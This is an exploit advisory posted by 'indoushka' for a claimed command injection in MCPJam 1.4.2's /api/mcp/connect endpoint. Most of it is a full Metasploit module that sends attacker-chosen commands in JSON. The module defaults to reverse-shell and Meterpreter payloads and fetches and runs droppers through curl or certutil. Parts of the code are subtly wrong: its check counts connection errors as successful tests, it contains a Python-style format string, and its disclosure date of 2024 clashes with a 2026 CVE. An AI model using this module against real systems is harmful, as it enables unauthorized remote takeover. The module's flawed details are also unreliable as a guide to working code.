============================================================================================================================================= | # Title : MCPJam 1.4.2 command injection vulnerability | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) | | # Vendor : https://github.com/MCPJam | ============================================================================================================================================= [+] References: https://packetstorm.news/files/id/214283/ & CVE-2026-23744 [+] Summary: This Metasploit exploit module targets the MCP (Model Context Protocol) server, specifically exploiting a command injection vulnerability in the /api/mcp/connect endpoint. The vulnerability allows unauthorized remote command execution by sending crafted JSON payloads that are executed by the server without proper sanitization. [+] Platforms Supported: Unix/Linux and Windows [+] Payload Types: Command execution (ARCH_CMD) Dropper payloads for Linux and Windows (ARCH_X64) [+] Functionality: Check if the target server is reachable and running MCP Test the server for RCE vulnerability using safe commands Exploit the server via command payloads or staged droppers [+] Robustness: Handles connection errors, timeouts, and server readiness Supports verbose output for debugging and test confirmation [+] Metasploit Integration: Compatible with Msf::Exploit::Remote::HttpClient and CmdStager Provides multiple targets and configurable options (RPORT, TARGETURI, WAIT_TIMEOUT, VERBOSE) [+] Usage : use exploit/multi/mcp_rce set RHOSTS 192.168.1.100 set RPORT 6274 set TARGETURI / run [+] Notes: The module does not require privileged access Exploitation may leave artifacts on disk or logs Safe for testing, but ensure authorization before use [+] POC : ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super( update_info( info, 'Name' => 'MCP Server Remote Code Execution', 'Description' => %q{ This module exploits a command injection vulnerability in the MCP (Model Context Protocol) server. The vulnerability exists in the /api/mcp/connect endpoint which allows unauthorized remote command execution. The server runs on port 6274 by default and accepts JSON payloads that are passed directly to system() calls or similar execution functions without proper sanitization. }, 'License' => MSF_LICENSE, 'Author' => [ 'indoushka' ], 'References' => [ ['URL', 'https://packetstorm.news/files/id/214283/'], ['CVE', ' CVE-2026-23744'] ], 'Platform' => %w[unix linux win], 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], 'Targets' => [ [ 'Unix/Linux (CMD)', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }, 'Type' => :cmd } ], [ 'Windows (CMD)', { 'Platform' => 'win', 'Arch' => ARCH_CMD, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp' }, 'Type' => :cmd } ], [ 'Linux (Dropper)', { 'Platform' => 'linux', 'Arch' => ARCH_X64, 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }, 'Type' => :dropper } ], [ 'Windows (Dropper)', { 'Platform' => 'win', 'Arch' => ARCH_X64, 'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' }, 'Type' => :dropper } ] ], 'Privileged' => false, 'DisclosureDate' => '2024-01-01', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options([ Opt::RPORT(6274), OptString.new('TARGETURI', [true, 'The base path to MCP server', '/']), OptInt.new('WAIT_TIMEOUT', [true, 'Seconds to wait for server', 30]), OptBool.new('VERBOSE', [false, 'Enable verbose output', false]) ]) end def check vprint_status("Checking if target #{peer} is running MCP server...") begin res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path) }) rescue ::Rex::ConnectionError return Exploit::CheckCode::Safe("Connection failed") end unless res return Exploit::CheckCode::Safe("No response received") end if res.code == 200 || res.code < 500 vprint_good("Server responded with code #{res.code}") if test_vulnerability return Exploit::CheckCode::Vulnerable("Confirmed RCE vulnerability") else return Exploit::CheckCode::Appears("Server appears to be MCP but RCE not confirmed") end end Exploit::CheckCode::Safe("Does not appear to be MCP server") end def exploit print_status("Starting exploitation of #{peer}...") unless check_server fail_with(Failure::Unknown, "Server not reachable") end case target['Type'] when :cmd exploit_cmd when :dropper exploit_dropper else fail_with(Failure::NoTarget, "Invalid target type selected") end end private def check_server print_status("Waiting for server on #{peer}...") start_time = Time.now max_wait = datastore['WAIT_TIMEOUT'] while Time.now - start_time < max_wait begin res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path), 'timeout' => 2 }) if res && res.code < 500 print_good("Server ready after #{Time.now - start_time:.2f} seconds") return true end rescue ::Rex::ConnectionError rescue ::Rex::TimeoutError end Rex.sleep(1) end print_error("Server failed to start within #{max_wait} seconds") false end def test_vulnerability vprint_status("Testing vulnerability...") test_commands = [ "echo MSF_TEST_#{Rex::Text.rand_text_alpha(8)}", "printf VULN_TEST", "ver" ] successful_tests = 0 test_commands.each do |cmd| vprint_status("Testing command: #{cmd}") payload = create_payload(cmd) begin res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'api', 'mcp', 'connect'), 'ctype' => 'application/json', 'data' => payload.to_json }) if res vprint_good("Command #{cmd} sent successfully (status: #{res.code})") successful_tests += 1 else vprint_warning("No response for command: #{cmd}") end rescue ::Rex::ConnectionError vprint_warning("Connection error for command: #{cmd}") successful_tests += 1 end Rex.sleep(0.5) end is_vulnerable = successful_tests > 0 vprint_status("Vulnerability test result: #{successful_tests}/#{test_commands.length} successful") is_vulnerable end def create_payload(command) if target['Platform'] == 'unix' || target['Platform'] == 'linux' cmd_parts = Shellwords.split(command) cmd = cmd_parts[0] args = cmd_parts[1..-1] || [] env_vars = { 'PATH' => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', 'SHELL' => '/bin/bash' } else cmd = 'cmd.exe' args = ['/c', command] env_vars = {} end { 'serverConfig' => { 'command' => cmd, 'args' => args, 'env' => env_vars }, 'serverId' => "msf_#{Rex::Text.rand_text_alphanumeric(8)}" } end def exploit_cmd print_status("Exploiting with command payload...") case target['Platform'] when 'unix', 'linux' cmd = payload.encoded when 'win' cmd = payload.encoded end payload_data = create_payload(cmd) print_status("Sending payload to #{peer}...") begin res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'api', 'mcp', 'connect'), 'ctype' => 'application/json', 'data' => payload_data.to_json }) if res print_status("Server responded with status: #{res.code}") if res.body && !res.body.empty? vprint_status("Response body: #{res.body[0..500]}") end else print_warning("No response received - exploitation may have succeeded") end Rex.sleep(2) print_good("Exploitation completed") rescue ::Rex::ConnectionError => e print_warning("Connection error: #{e.message}") print_warning("This may indicate successful exploitation") rescue ::Rex::TimeoutError print_error("Request timeout") end end def exploit_dropper print_status("Exploiting with dropper payload...") case target['Platform'] when 'linux' execute_cmdstager( flavor: :curl, linemax: 2048 ) when 'win' execute_cmdstager( flavor: :certutil, linemax: 2048 ) end end def execute_command(cmd, opts = {}) vprint_status("Executing command: #{cmd}") payload_data = create_payload(cmd) begin res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'api', 'mcp', 'connect'), 'ctype' => 'application/json', 'data' => payload_data.to_json, 'timeout' => 10 }) if res && datastore['VERBOSE'] vprint_status("Command response: #{res.code}") end rescue ::Rex::ConnectionError vprint_warning("Connection error during command execution") rescue ::Rex::TimeoutError vprint_warning("Timeout during command execution") end nil end end Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================